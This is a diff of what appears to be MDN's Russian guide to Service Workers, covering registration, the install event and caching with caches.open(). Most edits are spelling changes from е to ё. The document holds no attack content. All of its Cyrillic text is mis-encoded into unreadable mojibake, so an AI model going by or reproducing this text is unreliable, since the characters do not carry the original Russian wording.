- <li>Π Π°Π½Π΅Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ лишь URL изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ JSON-Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, содСрТащий всС Π΄Π°Π½Π½Ρ‹Π΅ для изобраТСния (посмотритС, ΠΊΠ°ΠΊ это выглядит Π²Β <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Π­Ρ‚ΠΎ сдСлано ΠΏΠΎΡ‚ΠΎΠΌΡƒ, что всС Π΄Π°Π½Π½Ρ‹Π΅ для выполнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ промиса Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Π΅ΠΌΡƒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ выполняСтся асинхронно. Если ΠΆΠ΅ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ лишь URL, Π° Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ Π² JSON-Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° <code>for()</code>, это Π±Ρ‹ Π½Π΅ сработало, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ этот промис Π½Π΅ Π±Ρ‹Π» Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ во врСмя Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° (это синхронный процСсс).</li>
+ <li>Π Π°Π½Π΅Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ лишь URL изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΆΠ΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ JSON-Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, содСрТащий всС Π΄Π°Π½Π½Ρ‹Π΅ для изобраТСния (посмотритС, ΠΊΠ°ΠΊ это выглядит Π²Β <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Π­Ρ‚ΠΎ сдСлано ΠΏΠΎΡ‚ΠΎΠΌΡƒ, что всС Π΄Π°Π½Π½Ρ‹Π΅ для выполнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ промиса Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Π΅ΠΌΡƒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ выполняСтся асинхронно. Если ΠΆΠ΅ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ лишь URL, Π° Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ Π² JSON-Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° <code>for()</code>, это Π±Ρ‹ Π½Π΅ сработало, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ этот промис Π½Π΅ Π±Ρ‹Π» Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ во врСмя Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° (это синхронный процСсс).</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ выполняСм промис с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ-массивом, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Π΄Π°Π»ΡŒΡˆΠ΅Β ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ изобраТСния доступными для Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, одноврСмСнно с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ Ρ„Π°ΠΉΠ»Π°, Π΄Π°Π½Π½Ρ‹ΠΌΠΈ авторства ΠΈ Π·Π°ΠΌΠ΅Ρ‰Π°ΡŽΡ‰ΠΈΠΌ тСкстом (см.Β <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js строки 31-34</a>). ΠŸΡ€ΠΎΠΌΠΈΡΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ со всСго ΠΎΠ΄Π½ΠΈΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ, поэтому, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ… с нСсколькими ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив/ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌ значСниям промисов, ΠΌΡ‹ обращаСмся ΠΊ Π½ΠΈΠΌ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ Π·Π°Π΄ΡƒΠΌΠ°Π½ΠΎ (смотритС <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js строки 60-64</a>). По Π½Π°Ρ‡Π°Π»Ρƒ это ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ странно, Π½ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ промисы.</li>
</ol>
@@ -182,7 +182,7 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<p>ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ рСгистрируСт сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Β Π² worker-контСкстС, ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ доступа ΠΊ DOM. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ запускаСтС код Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅, Π²Π½Π΅ Π²Π°ΡˆΠΈΡ… страниц, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.</p>
-<p>Один сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько страниц. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° загруТаСтся страница, находящаяся Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… области видимости, сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ установлСн Π½Π° Π½Π΅ΠΉ ΠΈ Π½Π°Ρ‡Π½Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² скриптах сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницы Π½Π΅Ρ‚ своСго ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экзСмпляра сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°.</p>
+<p>Один сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько страниц. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° загруТаСтся страница, находящаяся Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… области видимости, сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ установлСн Π½Π° Π½Π΅ΠΉ ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² скриптах сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницы Π½Π΅Ρ‚ своСго ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ экзСмпляра сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°.</p>
<div class="note">
<p><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong>: БСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° прокси-сСрвСры, ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запросы ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, замСщая записями ΠΈΠ· собствСнного кСша, ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
@@ -192,7 +192,7 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<p><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong>: Π•ΡΡ‚ΡŒ ΠΎΠ΄Π½Π° ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ. Π’ случаС, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Service Worker, Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ, ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΌ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ AppCache, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ использована эта тСхнология. Π’ случаС, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈ AppCache ΠΈ Service Worker, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ использована Service Worker.</p>
</div>
-<h4 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_ΠΌΠΎΠΉ_сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€_Π½Π΅_ΠΏΡ€ΠΎΡˆΠ΅Π»_Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ">ΠŸΠΎΡ‡Π΅ΠΌΡƒ ΠΌΠΎΠΉ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½Π΅ ΠΏΡ€ΠΎΡˆΠ΅Π» Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ?</h4>
+<h4 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_ΠΌΠΎΠΉ_сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€_Π½Π΅_ΠΏΡ€ΠΎΡˆΡ‘Π»_Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ">ΠŸΠΎΡ‡Π΅ΠΌΡƒ ΠΌΠΎΠΉ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½Π΅ ΠΏΡ€ΠΎΡˆΡ‘Π» Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ?</h4>
<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ:</p>
@@ -222,7 +222,7 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<p><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong>: Cache API поддСрТиваСтся Π½Π΅ всСми Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ (смотритС Ρ€Π°Π·Π΄Π΅Π» {{anch("Browser support")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ). Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ сСйчас ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ, Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ использования ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ доступСн Π²Β <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ рСсурсы Π²Β <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
</div>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ этот Ρ€Π°Π·Π΄Π΅Π» посмотрСв Π½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ β€” это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² нашСм сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅</a>:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ этот Ρ€Π°Π·Π΄Π΅Π» посмотрСв Π½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ β€” это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² нашСм сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅</a>:</p>
<pre class="brush: js notranslate">self.addEventListener('install', (event) =&gt; {
event.waitUntil(
@@ -246,12 +246,12 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<ol>
<li>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ добавляСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>install</code> ΠΊ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ (ΠΎΡ‚Π½Ρ‹Π½Π΅ <code>self</code>), ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("ExtendableEvent.waitUntil()") }} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события. Вакая конструкция Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСн, ΠΏΠΎΠΊΠ° ΠΊΠΎΠ΄, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>waitUntil()</code>, Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ с успСхом.</li>
<li><span style="line-height: 1.5;">Π’Π½ΡƒΡ‚Ρ€ΠΈ <code>waitUntil()</code> ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ </span><a href="/en-US/docs/Web/API/CacheStorage/open">caches.open()</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ кСш, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ <code>v1</code>, это Π±ΡƒΠ΄Π΅Ρ‚ пСрвая вСрсия кСша рСсурсов. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис для созданного кСша; ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ выполнится, Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° созданного кСша ΠΌΡ‹ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>addAll()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ массив origin-ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… URL всСх рСсурсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² кСшС.</li>
- <li>Если промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Ρ‚ΠΎ установка Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π° Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎ, ΠΈ Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт. Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ провСсти Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·.</li>
+ <li>Если промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, Ρ‚ΠΎ установка Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π° Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎ, ΠΈ Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт. Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ провСсти Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·.</li>
<li>ПослС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ установки сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ активируСтся. Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ΅Π½ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ установкС/Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°, Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ большоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° происходит ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° (смотритС Ρ€Π°Π·Π΄Π΅Π»Β {{anch("ОбновлСниС вашСго сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°")}}, находящийся Π½ΠΈΠΆΠ΅).</li>
</ol>
<div class="note">
-<p><span style="font-size: 14px; line-height: 21px;"><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ схоТим ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ Π² синхронном Ρ€Π΅ΠΆΠΈΠΌΠ΅, поэтому Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Ρ….</p>
